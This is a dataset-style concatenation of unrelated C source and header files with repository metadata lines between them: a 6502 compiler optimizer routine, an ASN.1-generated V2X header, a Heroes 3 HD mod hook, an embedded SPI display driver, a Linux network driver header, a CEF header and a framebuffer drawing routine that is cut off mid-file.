on stack which is to ** be removed. */ if (E->AM == AM65_ZPX_IND || ((E->Chg | E->Use) & SLV_IND) == 0 || (RegValIsUnknown (E->RI->In.RegY) || E->RI->In.RegY < 2)) { I = Data.PushIndex; State = Initialize; break; } } /* Memorize the old rhs load indices before refreshing them */ RhsAChgIndex = Data.Rhs.A.ChgIndex; RhsXChgIndex = Data.Rhs.X.ChgIndex; /* Keep tracking Lhs src if necessary */ SetIfOperandSrcAffected (&Data.Lhs, E); /* Track register usage */ Used = TrackLoads (&Data.Rhs, S, I); Data.ZPUsage |= (E->Use | E->Chg); /* The changes could depend on the use */ Data.UsedRegs &= ~E->Chg; Data.UsedRegs |= Used; Data.ZPChanged |= E->Chg; /* Check if any parts of Lhs are used again before overwritten */ if (PushedRegs != 0) { if ((PushedRegs & E->Use) != 0) { SetIfOperandLoadUnremovable (&Data.Lhs, PushedRegs & E->Use); } PushedRegs &= ~E->Chg; } /* Check if rhs is changed again after the push */ if ((RhsAChgIndex != Data.Lhs.A.ChgIndex && RhsAChgIndex != Data.Rhs.A.ChgIndex) || (RhsXChgIndex != Data.Lhs.X.ChgIndex && RhsXChgIndex != Data.Rhs.X.ChgIndex)) { /* This will disable those sub-opts that require removing ** the rhs as they can't handle such cases correctly. */ Data.RhsMultiChg = 1; } break; case FoundOp: /* Track zero page location usage beyond this point */ Data.ZPUsage |= GetRegInfo (S, I, REG_SREG | REG_PTR1 | REG_PTR2); /* Finalize the load info */ FinalizeLoadInfo (&Data.Lhs, S); FinalizeLoadInfo (&Data.Rhs, S); /* Check if the lhs loads from zeropage. If this is true, these ** zero page locations have to be added to ZPUsage, because ** they cannot be used for intermediate storage. In addition, ** if one of these zero page locations is destroyed between ** pushing the lhs and the actual operation, we cannot use the ** original zero page locations for the final op, but must ** use another ZP location to save them. */ Data.ZPChanged &= REG_ZP; if (Data.Lhs.A.LoadEntry && Data.Lhs.A.LoadEntry->AM == AM65_ZP) { Data.ZPUsage |= Data.Lhs.A.LoadEntry->Use; if ((Data.Lhs.A.LoadEntry->Use & Data.ZPChanged) != 0) { Data.Lhs.A.Flags &= ~(LI_DIRECT | LI_RELOAD_Y); } } if (Data.Lhs.X.LoadEntry && Data.Lhs.X.LoadEntry->AM == AM65_ZP) { Data.ZPUsage |= Data.Lhs.X.LoadEntry->Use; if ((Data.Lhs.X.LoadEntry->Use & Data.ZPChanged) != 0) { Data.Lhs.X.Flags &= ~(LI_DIRECT | LI_RELOAD_Y); } } /* Flag entries that can't be removed */ SetDontRemoveEntryFlags (&Data); /* Check the preconditions. If they aren't ok, reset the insn ** pointer to the pushax and start over. We will lose part of ** load tracking but at least a/x has probably lost between ** pushax and here and will be tracked again when restarting. */ if (IsRegAOptFunc ? !RegAPreCondOk (&Data) : !PreCondOk (&Data)) { /* Unflag entries that can't be removed */ ResetDontRemoveEntryFlags (&Data); I = Data.PushIndex; State = Initialize; break; } /* Prepare the remainder of the data structure. */ Data.PrevEntry = CS_GetPrevEntry (S, Data.PushIndex); Data.PushEntry = CS_GetEntry (S, Data.PushIndex); Data.OpEntry = CS_GetEntry (S, Data.OpIndex); Data.NextEntry = CS_GetNextEntry (S, Data.OpIndex); /* Remember the current number of code lines */ OldEntryCount = CS_GetEntryCount (S); /* Adjust stack offsets to account for the upcoming removal */ AdjustStackOffset (&Data, 2); /* Regenerate register info, since AdjustStackOffset changed ** the code */ CS_GenRegInfo (S); /* Call the optimizer function */ const OptFuncDesc* Desc = Data.OptFunc; Changes += Desc->Func (&Data); /* Unflag entries that can't be removed */ ResetDontRemoveEntryFlags (&Data); /* Since the function may have added or deleted entries, ** correct the index. */ I += CS_GetEntryCount (S) - OldEntryCount; /* Regenerate register info */ CS_GenRegInfo (S); /* Done */ State = Initialize; continue; } /* Next entry */ ++I; } /* Return the number of changes made */ return Changes; }
c00670bac243c99b26b79255171d38f31ad6f8e2
431a5c28b8dfcc7d6ca6f4f97bf370cd770547a7
/src/tmx/Asn_J2735/include/asn_j2735_r63/TransmissionState.h
c12fb033586c62e7987fefa8c9245f100c15d698
[ "Apache-2.0" ]
permissive
usdot-fhwa-OPS/V2X-Hub
134061cfb55d8c83e871f7fd4bbfa5d8d3092eb0
aae33e6a16b8a30e1faee31a7ee863d191be06b8
refs/heads/develop
2023-08-26T10:10:59.989176
2023-08-24T14:58:21
2023-08-24T14:58:21
168,020,929
106
63
null
2023-09-11T20:24:45
2019-01-28T19:16:45
C
UTF-8
C
false
false
1,752
h
TransmissionState.h
/* * Generated by asn1c-0.9.29 (http://lionet.info/asn1c) * From ASN.1 module "DSRC" * found in "J2735_201603_ASN_CC.asn" * `asn1c -gen-PER -fcompound-names -fincludes-quoted -fskeletons-copy` */ #ifndef _TransmissionState_H_ #define _TransmissionState_H_ #include "asn_application.h" /* Including external dependencies */ #include "NativeEnumerated.h" #ifdef __cplusplus extern "C" { #endif /* Dependencies */ typedef enum TransmissionState { TransmissionState_neutral = 0, TransmissionState_park = 1, TransmissionState_forwardGears = 2, TransmissionState_reverseGears = 3, TransmissionState_reserved1 = 4, TransmissionState_reserved2 = 5, TransmissionState_reserved3 = 6, TransmissionState_unavailable = 7 } e_TransmissionState; /* TransmissionState */ typedef long TransmissionState_t; /* Implementation */ extern asn_per_constraints_t asn_PER_type_TransmissionState_constr_1; extern asn_TYPE_descriptor_t asn_DEF_TransmissionState; extern const asn_INTEGER_specifics_t asn_SPC_TransmissionState_specs_1; asn_struct_free_f TransmissionState_free; asn_struct_print_f TransmissionState_print; asn_constr_check_f TransmissionState_constraint; ber_type_decoder_f TransmissionState_decode_ber; der_type_encoder_f TransmissionState_encode_der; xer_type_decoder_f TransmissionState_decode_xer; xer_type_encoder_f TransmissionState_encode_xer; oer_type_decoder_f TransmissionState_decode_oer; oer_type_encoder_f TransmissionState_encode_oer; per_type_decoder_f TransmissionState_decode_uper; per_type_encoder_f TransmissionState_encode_uper; per_type_decoder_f TransmissionState_decode_aper; per_type_encoder_f TransmissionState_encode_aper; #ifdef __cplusplus } #endif #endif /* _TransmissionState_H_ */ #include "asn_internal.h"
0126e0f352df724b9d5f4daaa657bcfef8c37dc1
25b7cd3e4b750803565c374e59f8179c8aab276d
/hd_edition/hde_mod/mod/common.c
818593222abf10eeabed4a3e40b034151d5c035a
[ "MIT" ]
permissive
potmdehex/homm3tools
320ce70e0d22dc597df440ec7c63fde9844f7dbe
6b36d1f92ea67f5ad6d4847aeaf2dfb1766d3cc5
refs/heads/master
2023-08-06T02:56:53.534443
2022-09-19T12:42:50
2022-09-19T12:42:50
40,399,205
141
29
MIT
2019-12-06T12:11:43
2015-08-08T10:15:08
C
IBM852
C
false
false
3,143
c
common.c
// Created by John ┼kerblom 2015-04-20, from hooked.c from 2015-01-29 #include "common.h" #include "revisit.h" #include "../hde/structures/hero.h" #include <h3mlib.h> #include <hook_utils.h> #include <stdio.h> #ifdef _MSC_VER #pragma warning(disable:4996) #endif typedef void (__stdcall *screen_refresh_t)(int a1, int a2, int a3, int a4); screen_refresh_t orig_screen_refresh = (screen_refresh_t)NULL; // This function makes a special stack move for move operations that are trying // to move the last stack in a hero's army to another hero, moving every creature // in that stack over except 1 (normally the move is simply cancelled). // // stdcall to make it easier to call this function from assembly int __stdcall common_move_last_stack(struct HDE_HERO *src, struct HDE_HERO *dest, int src_slot, int dest_slot) { int stack_count = 0; // The special last stack is only for moving between heroes, do nothing // if this is a move within same hero army if (src == dest) { return ERROR_SAME_HERO; } // Iterate stacks in source hero, counting the stacks and preserving slot idx for (int i = 0; i < 7; ++i) { if (0xFFFFFFFF != src->creature_types[i] && 0 != src->creature_quantities[i]) { ++stack_count; if (-1 == src_slot) { src_slot = i; } } } // If there is more than 1 stack behind or the single remaining stack has // less than two creatures or the destination slot is not same type/empty, // do nothing if (dest->creature_types[dest_slot] != src->creature_types[src_slot] && (0xFFFFFFFF != dest->creature_types[dest_slot] || 0 != dest->creature_quantities[dest_slot])) { return ERROR_DEST_SLOT_DIFFERENT; } else if (stack_count > 1) { return ERROR_NOT_LAST_STACK; } else if (src->creature_quantities[src_slot] < 2) { return ERROR_SINGLE_CREATURE; } // Do the special move, leaving 1 creature behind dest->creature_types[dest_slot] = src->creature_types[src_slot]; dest->creature_quantities[dest_slot] += src->creature_quantities[src_slot] - 1; src->creature_quantities[src_slot] = 1; return 0; } void __stdcall hooked_screen_refresh(int a1, int a2, int a3, int a4) { extern BOOL g_disable_revisit_refresh; extern BOOL g_disable_trade_refresh; if (g_disable_trade_refresh || g_disable_revisit_refresh) { // Simply return without refreshing hero trade screen return; } orig_screen_refresh(a1, a2, a3, a4); } void common_init(void) { /////////////////////////////////////////////////////////////////////////////////////////////// // screen_refresh: 89 4C 24 10 74 1A /////////////////////////////////////////////////////////////////////////////////////////////// unsigned char mem_screen_refresh[] = { 0x89, 0x4C, 0x24, 0x10, // MOV DWORD PTR SS : [ESP + 10], ECX 0x74, 0x1A // JE SHORT <+0x1A> }; int off_screen_refresh = -0x1E; HOOK_NEEDLE_FAIL_MSG(NULL, screen_refresh); }
9e1e7b747c1d58b4e5e6106613ac5aa7213b4120
ca72e85c3aa798a3257c9b75fa038c44398aaf31
/EVE_target/EVE_target_GD32VF103.h
b950cf85d4996bb2e4a186aeda2ef1ff1616e777
[ "MIT" ]
permissive
RudolphRiedel/FT800-FT813
f91cd995c0746b0b3c84335120895dd27179370e
97d02777dcddbd44397c0cb9911591309835ae33
refs/heads/5.x
2023-08-08T22:47:35.747278
2023-08-05T15:19:45
2023-08-05T15:19:45
100,855,625
114
58
MIT
2023-08-25T06:28:29
2017-08-20T11:00:52
C
UTF-8
C
false
false
3,467
h
EVE_target_GD32VF103.h
/* @file EVE_target_GD32VF103.h @brief target specific includes, definitions and functions @version 5.0 @date 2023-06-24 @author Rudolph Riedel @section LICENSE MIT License Copyright (c) 2016-2023 Rudolph Riedel Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. @section History 5.0 - extracted from EVE_target.h - made DELAY_MS() more MISRA-C compliant - basic maintenance: checked for violations of white space and indent rules - made EVE_DELAY_1MS changeable thru the build-environment */ #ifndef EVE_TARGET_GD32VF103_H #define EVE_TARGET_GD32VF103_H #if !defined (ARDUINO) #if defined (__GNUC__) #if defined (__riscv) //#warning Compiling for GD32VF103CBT6 #include "gd32vf103.h" /* you may define these in your build-environment to use different settings */ #if !defined (EVE_DELAY_1MS) #define EVE_DELAY_1MS 18000U /* ~1ms at 108MHz Core-Clock, according to my Logic-Analyzer */ #endif /* you may define these in your build-environment to use different settings */ static inline void DELAY_MS(uint16_t val) { for (uint16_t loops = 0; loops < val; loops++) { for (uint16_t counter = 0; counter < EVE_DELAY_1MS; counter++) { __asm__ volatile("nop"); } } } static inline void EVE_pdn_set(void) { gpio_bit_reset(GPIOB,GPIO_PIN_1); } static inline void EVE_pdn_clear(void) { gpio_bit_set(GPIOB,GPIO_PIN_1); } static inline void EVE_cs_set(void) { gpio_bit_reset(GPIOB,GPIO_PIN_0); } static inline void EVE_cs_clear(void) { gpio_bit_set(GPIOB,GPIO_PIN_0); } static inline void spi_transmit(uint8_t data) { SPI_DATA(SPI0) = (uint32_t) data; while (SPI_STAT(SPI0) & SPI_STAT_TRANS) {} } static inline void spi_transmit_32(uint32_t data) { spi_transmit((uint8_t)(data & 0x000000ffUL)); spi_transmit((uint8_t)(data >> 8U)); spi_transmit((uint8_t)(data >> 16U)); spi_transmit((uint8_t)(data >> 24U)); } /* spi_transmit_burst() is only used for cmd-FIFO commands */ /* so it *always* has to transfer 4 bytes */ static inline void spi_transmit_burst(uint32_t data) { spi_transmit_32(data); } static inline uint8_t spi_receive(uint8_t data) { SPI_DATA(SPI0) = (uint32_t) data; while (SPI_STAT(SPI0) & SPI_STAT_TRANS) {} return (uint8_t) SPI_DATA(SPI0); } static inline uint8_t fetch_flash_byte(const uint8_t *p_data) { return *p_data; } #endif /* __riscv */ #endif /* __GNUC__ */ #endif /* !Arduino */ #endif /* EVE_TARGET_GD32VF103_H */
6394c8881e5212e62d4b7d9a4b8ed64021241cbf
7eaf54a78c9e2117247cb2ab6d3a0c20719ba700
/SOFTWARE/A64-TERES/linux-a64/drivers/s390/net/qeth_l3.h
29c1c00e3a0f3dcdb826e0e31c33bde2ceb88dcc
[ "Linux-syscall-note", "GPL-2.0-only", "GPL-1.0-or-later", "LicenseRef-scancode-free-unknown", "Apache-2.0" ]
permissive
OLIMEX/DIY-LAPTOP
ae82f4ee79c641d9aee444db9a75f3f6709afa92
a3fafd1309135650bab27f5eafc0c32bc3ca74ee
refs/heads/rel3
2023-08-04T01:54:19.483792
2023-04-03T07:18:12
2023-04-03T07:18:12
80,094,055
507
92
Apache-2.0
2023-04-03T07:05:59
2017-01-26T07:25:50
C
UTF-8
C
false
false
2,264
h
qeth_l3.h
/* * Copyright IBM Corp. 2007 * Author(s): Utz Bacher <utz.bacher@de.ibm.com>, * Frank Pavlic <fpavlic@de.ibm.com>, * Thomas Spatzier <tspat@de.ibm.com>, * Frank Blaschka <frank.blaschka@de.ibm.com> */ #ifndef __QETH_L3_H__ #define __QETH_L3_H__ #include "qeth_core.h" #define QETH_SNIFF_AVAIL 0x0008 struct qeth_ipaddr { struct list_head entry; enum qeth_ip_types type; enum qeth_ipa_setdelip_flags set_flags; enum qeth_ipa_setdelip_flags del_flags; int is_multicast; int users; enum qeth_prot_versions proto; unsigned char mac[OSA_ADDR_LEN]; union { struct { unsigned int addr; unsigned int mask; } a4; struct { struct in6_addr addr; unsigned int pfxlen; } a6; } u; }; struct qeth_ipato_entry { struct list_head entry; enum qeth_prot_versions proto; char addr[16]; int mask_bits; }; void qeth_l3_ipaddr4_to_string(const __u8 *, char *); int qeth_l3_string_to_ipaddr4(const char *, __u8 *); void qeth_l3_ipaddr6_to_string(const __u8 *, char *); int qeth_l3_string_to_ipaddr6(const char *, __u8 *); void qeth_l3_ipaddr_to_string(enum qeth_prot_versions, const __u8 *, char *); int qeth_l3_string_to_ipaddr(const char *, enum qeth_prot_versions, __u8 *); int qeth_l3_create_device_attributes(struct device *); void qeth_l3_remove_device_attributes(struct device *); int qeth_l3_setrouting_v4(struct qeth_card *); int qeth_l3_setrouting_v6(struct qeth_card *); int qeth_l3_add_ipato_entry(struct qeth_card *, struct qeth_ipato_entry *); void qeth_l3_del_ipato_entry(struct qeth_card *, enum qeth_prot_versions, u8 *, int); int qeth_l3_add_vipa(struct qeth_card *, enum qeth_prot_versions, const u8 *); void qeth_l3_del_vipa(struct qeth_card *, enum qeth_prot_versions, const u8 *); int qeth_l3_add_rxip(struct qeth_card *, enum qeth_prot_versions, const u8 *); void qeth_l3_del_rxip(struct qeth_card *card, enum qeth_prot_versions, const u8 *); int qeth_l3_is_addr_covered_by_ipato(struct qeth_card *, struct qeth_ipaddr *); struct qeth_ipaddr *qeth_l3_get_addr_buffer(enum qeth_prot_versions); int qeth_l3_add_ip(struct qeth_card *, struct qeth_ipaddr *); int qeth_l3_delete_ip(struct qeth_card *, struct qeth_ipaddr *); void qeth_l3_set_ip_addr_list(struct qeth_card *); #endif /* __QETH_L3_H__ */
b90639a672d7e551c2d3839f792ae1b922879dbd
b4d1fc90b1c88f355c0cc165d73eebca4727d09b
/libcef/browser/browser_message_loop.h
38f2b025d0de0f11ba8f1c15cb98c3ffc2481ef9
[ "BSD-3-Clause" ]
permissive
chromiumembedded/cef
f03bee5fbd8745500490ac90fcba45616a29be6e
f808926fbda17c7678e21f1403d6f996e9a95138
refs/heads/master
2023-09-01T20:37:38.750882
2023-08-31T17:16:46
2023-08-31T17:28:27
87,006,077
2,600
454
NOASSERTION
2023-07-21T11:39:49
2017-04-02T18:19:23
C++
UTF-8
C
false
false
391
h
browser_message_loop.h
// Copyright (c) 2012 The Chromium Embedded Framework Authors. All rights // reserved. Use of this source code is governed by a BSD-style license that can // be found in the LICENSE file. #ifndef CEF_LIBCEF_BROWSER_BROWSER_MESSAGE_LOOP_H_ #define CEF_LIBCEF_BROWSER_BROWSER_MESSAGE_LOOP_H_ void InitExternalMessagePumpFactoryForUI(); #endif // CEF_LIBCEF_BROWSER_BROWSER_MESSAGE_LOOP_H_
8c28a30007a383ecf1ddcacf80e2ac75e6cbbe79
fc89df5d65edcfada41a5bcc3b5c52d7b00d9d13
/components/display/core/gds_draw.c
3e3947eac6a60c828bf00dccab73c9af42dc3074
[]
no_license
sle118/squeezelite-esp32
b83f580b4de4a517be87ca1db8fead2223694068
149c9d8142d7a3f8679efc73985609eb6dee73a5
refs/heads/master-v4.3
2023-08-23T05:06:18.461579
2023-08-22T23:30:18
2023-08-22T23:30:18
187,874,998
698
84
null
2023-09-09T22:58:50
2019-05-21T16:25:56
C
UTF-8
C
false
false
13,110
c
gds_draw.c
/** * Copyright (c) 2017-2018 Tara Keeling * 2020 Philippe G. * * This software is released under the MIT License. * https://opensource.org/licenses/MIT */ #include <stdio.h> #include <string.h> #include <stdint.h> #include <stdbool.h> #include <stdlib.h> #include <math.h> #include <esp_attr.h> #include "gds_private.h" #include "gds.h" #include "gds_draw.h" static const unsigned char BitReverseTable256[] = { 0x00, 0x80, 0x40, 0xC0, 0x20, 0xA0, 0x60, 0xE0, 0x10, 0x90, 0x50, 0xD0, 0x30, 0xB0, 0x70, 0xF0, 0x08, 0x88, 0x48, 0xC8, 0x28, 0xA8, 0x68, 0xE8, 0x18, 0x98, 0x58, 0xD8, 0x38, 0xB8, 0x78, 0xF8, 0x04, 0x84, 0x44, 0xC4, 0x24, 0xA4, 0x64, 0xE4, 0x14, 0x94, 0x54, 0xD4, 0x34, 0xB4, 0x74, 0xF4, 0x0C, 0x8C, 0x4C, 0xCC, 0x2C, 0xAC, 0x6C, 0xEC, 0x1C, 0x9C, 0x5C, 0xDC, 0x3C, 0xBC, 0x7C, 0xFC, 0x02, 0x82, 0x42, 0xC2, 0x22, 0xA2, 0x62, 0xE2, 0x12, 0x92, 0x52, 0xD2, 0x32, 0xB2, 0x72, 0xF2, 0x0A, 0x8A, 0x4A, 0xCA, 0x2A, 0xAA, 0x6A, 0xEA, 0x1A, 0x9A, 0x5A, 0xDA, 0x3A, 0xBA, 0x7A, 0xFA, 0x06, 0x86, 0x46, 0xC6, 0x26, 0xA6, 0x66, 0xE6, 0x16, 0x96, 0x56, 0xD6, 0x36, 0xB6, 0x76, 0xF6, 0x0E, 0x8E, 0x4E, 0xCE, 0x2E, 0xAE, 0x6E, 0xEE, 0x1E, 0x9E, 0x5E, 0xDE, 0x3E, 0xBE, 0x7E, 0xFE, 0x01, 0x81, 0x41, 0xC1, 0x21, 0xA1, 0x61, 0xE1, 0x11, 0x91, 0x51, 0xD1, 0x31, 0xB1, 0x71, 0xF1, 0x09, 0x89, 0x49, 0xC9, 0x29, 0xA9, 0x69, 0xE9, 0x19, 0x99, 0x59, 0xD9, 0x39, 0xB9, 0x79, 0xF9, 0x05, 0x85, 0x45, 0xC5, 0x25, 0xA5, 0x65, 0xE5, 0x15, 0x95, 0x55, 0xD5, 0x35, 0xB5, 0x75, 0xF5, 0x0D, 0x8D, 0x4D, 0xCD, 0x2D, 0xAD, 0x6D, 0xED, 0x1D, 0x9D, 0x5D, 0xDD, 0x3D, 0xBD, 0x7D, 0xFD, 0x03, 0x83, 0x43, 0xC3, 0x23, 0xA3, 0x63, 0xE3, 0x13, 0x93, 0x53, 0xD3, 0x33, 0xB3, 0x73, 0xF3, 0x0B, 0x8B, 0x4B, 0xCB, 0x2B, 0xAB, 0x6B, 0xEB, 0x1B, 0x9B, 0x5B, 0xDB, 0x3B, 0xBB, 0x7B, 0xFB, 0x07, 0x87, 0x47, 0xC7, 0x27, 0xA7, 0x67, 0xE7, 0x17, 0x97, 0x57, 0xD7, 0x37, 0xB7, 0x77, 0xF7, 0x0F, 0x8F, 0x4F, 0xCF, 0x2F, 0xAF, 0x6F, 0xEF, 0x1F, 0x9F, 0x5F, 0xDF, 0x3F, 0xBF, 0x7F, 0xFF }; __attribute__( ( always_inline ) ) static inline void SwapInt( int* a, int* b ) { int Temp = *b; *b = *a; *a = Temp; } void IRAM_ATTR GDS_DrawPixelFast( struct GDS_Device* Device, int X, int Y, int Color ) { DrawPixelFast( Device, X, Y, Color ); } void IRAM_ATTR GDS_DrawPixel( struct GDS_Device* Device, int X, int Y, int Color ) { DrawPixel( Device, X, Y, Color ); } void GDS_DrawHLine( struct GDS_Device* Device, int x, int y, int Width, int Color ) { int XEnd = x + Width; Device->Dirty = true; if (x < 0) x = 0; if (XEnd >= Device->Width) XEnd = Device->Width - 1; if (y < 0) y = 0; else if (y >= Device->Height) y = Device->Height - 1; for ( ; x < XEnd; x++ ) DrawPixelFast( Device, x, y, Color ); } void GDS_DrawVLine( struct GDS_Device* Device, int x, int y, int Height, int Color ) { int YEnd = y + Height; Device->Dirty = true; if (x < 0) x = 0; if (x >= Device->Width) x = Device->Width - 1; if (y < 0) y = 0; else if (YEnd >= Device->Height) YEnd = Device->Height - 1; for ( ; y < YEnd; y++ ) DrawPixel( Device, x, y, Color ); } static inline void DrawWideLine( struct GDS_Device* Device, int x0, int y0, int x1, int y1, int Color ) { int dx = ( x1 - x0 ); int dy = ( y1 - y0 ); int Error = 0; int Incr = 1; int x = x0; int y = y0; if ( dy < 0 ) { Incr = -1; dy = -dy; } Error = ( dy * 2 ) - dx; for ( ; x < x1; x++ ) { if ( IsPixelVisible( Device, x, y ) == true ) { DrawPixelFast( Device, x, y, Color ); } if ( Error > 0 ) { Error-= ( dx * 2 ); y+= Incr; } Error+= ( dy * 2 ); } } static inline void DrawTallLine( struct GDS_Device* Device, int x0, int y0, int x1, int y1, int Color ) { int dx = ( x1 - x0 ); int dy = ( y1 - y0 ); int Error = 0; int Incr = 1; int x = x0; int y = y0; if ( dx < 0 ) { Incr = -1; dx = -dx; } Error = ( dx * 2 ) - dy; for ( ; y < y1; y++ ) { if ( IsPixelVisible( Device, x, y ) == true ) { DrawPixelFast( Device, x, y, Color ); } if ( Error > 0 ) { Error-= ( dy * 2 ); x+= Incr; } Error+= ( dx * 2 ); } } void GDS_DrawLine( struct GDS_Device* Device, int x0, int y0, int x1, int y1, int Color ) { if ( x0 == x1 ) { GDS_DrawVLine( Device, x0, y0, ( y1 - y0 ), Color ); } else if ( y0 == y1 ) { GDS_DrawHLine( Device, x0, y0, ( x1 - x0 ), Color ); } else { Device->Dirty = true; if ( abs( x1 - x0 ) > abs( y1 - y0 ) ) { /* Wide ( run > rise ) */ if ( x0 > x1 ) { SwapInt( &x0, &x1 ); SwapInt( &y0, &y1 ); } DrawWideLine( Device, x0, y0, x1, y1, Color ); } else { /* Tall ( rise > run ) */ if ( y0 > y1 ) { SwapInt( &y0, &y1 ); SwapInt( &x0, &x1 ); } DrawTallLine( Device, x0, y0, x1, y1, Color ); } } } void GDS_DrawBox( struct GDS_Device* Device, int x1, int y1, int x2, int y2, int Color, bool Fill ) { int Width = ( x2 - x1 ); int Height = ( y2 - y1 ); Device->Dirty = true; if ( Fill == false ) { /* Top side */ GDS_DrawHLine( Device, x1, y1, Width, Color ); /* Bottom side */ GDS_DrawHLine( Device, x1, y1 + Height, Width, Color ); /* Left side */ GDS_DrawVLine( Device, x1, y1, Height, Color ); /* Right side */ GDS_DrawVLine( Device, x1 + Width, y1, Height, Color ); } else { /* Fill the box by drawing horizontal lines */ for ( ; y1 <= y2; y1++ ) { GDS_DrawHLine( Device, x1, y1, Width, Color ); } } } /**************************************************************************************** * Process graphic display data from column-oriented data (MSbit first) */ void GDS_DrawBitmapCBR(struct GDS_Device* Device, uint8_t *Data, int Width, int Height, int Color ) { if (!Height) Height = Device->Height; if (!Width) Width = Device->Width; if (Device->DrawBitmapCBR) { Device->DrawBitmapCBR( Device, Data, Width, Height, Color ); } else if (Device->Depth == 1) { Height >>= 3; // need to do row/col swap and bit-reverse for (int r = 0; r < Height; r++) { uint8_t *optr = Device->Framebuffer + r*Device->Width, *iptr = Data + r; for (int c = Width; --c >= 0;) { *optr++ = BitReverseTable256[*iptr]; iptr += Height; } } } else if (Device->Depth == 4) { uint8_t *optr = Device->Framebuffer; int LineLen = Device->Width >> 1; Height >>= 3; Color &= 0x0f; for (int i = Width * Height, r = 0, c = 0; --i >= 0;) { uint8_t Byte = BitReverseTable256[*Data++]; // we need to linearize code to let compiler better optimize if (c & 0x01) { *optr = (*optr & 0x0f) | (((Byte & 0x01)*Color)<<4); optr += LineLen; Byte >>= 1; *optr = (*optr & 0x0f) | (((Byte & 0x01)*Color)<<4); optr += LineLen; Byte >>= 1; *optr = (*optr & 0x0f) | (((Byte & 0x01)*Color)<<4); optr += LineLen; Byte >>= 1; *optr = (*optr & 0x0f) | (((Byte & 0x01)*Color)<<4); optr += LineLen; Byte >>= 1; *optr = (*optr & 0x0f) | (((Byte & 0x01)*Color)<<4); optr += LineLen; Byte >>= 1; *optr = (*optr & 0x0f) | (((Byte & 0x01)*Color)<<4); optr += LineLen; Byte >>= 1; *optr = (*optr & 0x0f) | (((Byte & 0x01)*Color)<<4); optr += LineLen; Byte >>= 1; *optr = (*optr & 0x0f) | (((Byte & 0x01)*Color)<<4); optr += LineLen; } else { *optr = (*optr & 0xf0) | (((Byte & 0x01)*Color)); optr += LineLen; Byte >>= 1; *optr = (*optr & 0xf0) | (((Byte & 0x01)*Color)); optr += LineLen; Byte >>= 1; *optr = (*optr & 0xf0) | (((Byte & 0x01)*Color)); optr += LineLen; Byte >>= 1; *optr = (*optr & 0xf0) | (((Byte & 0x01)*Color)); optr += LineLen; Byte >>= 1; *optr = (*optr & 0xf0) | (((Byte & 0x01)*Color)); optr += LineLen; Byte >>= 1; *optr = (*optr & 0xf0) | (((Byte & 0x01)*Color)); optr += LineLen; Byte >>= 1; *optr = (*optr & 0xf0) | (((Byte & 0x01)*Color)); optr += LineLen; Byte >>= 1; *optr = (*optr & 0xf0) | (((Byte & 0x01)*Color)); optr += LineLen; } // end of a column, move to next one if (++r == Height) { c++; r = 0; optr = Device->Framebuffer + (c >> 1); } } } else if (Device->Depth == 8) { uint8_t *optr = Device->Framebuffer; int LineLen = Device->Width; Height >>= 3; for (int i = Width * Height, r = 0, c = 0; --i >= 0;) { uint8_t Byte = BitReverseTable256[*Data++]; // we need to linearize code to let compiler better optimize *optr = ((Byte & 0x01) * Color); optr += LineLen; Byte >>= 1; *optr = ((Byte & 0x01) * Color); optr += LineLen; Byte >>= 1; *optr = ((Byte & 0x01) * Color); optr += LineLen; Byte >>= 1; *optr = ((Byte & 0x01) * Color); optr += LineLen; Byte >>= 1; *optr = ((Byte & 0x01) * Color); optr += LineLen; Byte >>= 1; *optr = ((Byte & 0x01) * Color); optr += LineLen; Byte >>= 1; *optr = ((Byte & 0x01) * Color); optr += LineLen; Byte >>= 1; *optr = ((Byte & 0x01) * Color); optr += LineLen; // end of a column, move to next one if (++r == Height) { c++; r = 0; optr = Device->Framebuffer + c; } } } else if (Device->Depth == 16) { uint16_t *optr = (uint16_t*) Device->Framebuffer; int LineLen = Device->Width; Height >>= 3; Color = __builtin_bswap16(Color); for (int i = Width * Height, r = 0, c = 0; --i >= 0;) { uint8_t Byte = BitReverseTable256[*Data++]; // we need to linearize code to let compiler better optimize *optr = ((Byte & 0x01) * Color); optr += LineLen; Byte >>= 1; *optr = ((Byte & 0x01) * Color); optr += LineLen; Byte >>= 1; *optr = ((Byte & 0x01) * Color); optr += LineLen; Byte >>= 1; *optr = ((Byte & 0x01) * Color); optr += LineLen; Byte >>= 1; *optr = ((Byte & 0x01) * Color); optr += LineLen; Byte >>= 1; *optr = ((Byte & 0x01) * Color); optr += LineLen; Byte >>= 1; *optr = ((Byte & 0x01) * Color); optr += LineLen; Byte >>= 1; *optr = ((Byte & 0x01) * Color); optr += LineLen; // end of a column, move to next one if (++r == Height) { c++; r = 0; optr = (uint16_t*) Device->Framebuffer + c; } } } else if (Device->Depth == 24) { uint8_t *optr = Device->Framebuffer; int LineLen = Device->Width * 3; Height >>= 3; if (Device->Mode == GDS_RGB666) Color = ((Color << 4) & 0xff0000) | ((Color << 2) & 0xff00) | (Color & 0x00ff); for (int i = Width * Height, r = 0, c = 0; --i >= 0;) { uint8_t Byte = BitReverseTable256[*Data++]; // we need to linearize code to let compiler better optimize #define SET24(O,D) O[0]=(D)>>16; O[1]=(D)>>8; O[2]=(D); SET24(optr,(Byte & 0x01) * Color); optr += LineLen; Byte >>= 1; SET24(optr,(Byte & 0x01) * Color); optr += LineLen; Byte >>= 1; SET24(optr,(Byte & 0x01) * Color); optr += LineLen; Byte >>= 1; SET24(optr,(Byte & 0x01) * Color); optr += LineLen; Byte >>= 1; SET24(optr,(Byte & 0x01) * Color); optr += LineLen; Byte >>= 1; SET24(optr,(Byte & 0x01) * Color); optr += LineLen; Byte >>= 1; SET24(optr,(Byte & 0x01) * Color); optr += LineLen; Byte >>= 1; SET24(optr,(Byte & 0x01) * Color); optr += LineLen; // end of a column, move to next one if (++r == Height) { c++; r 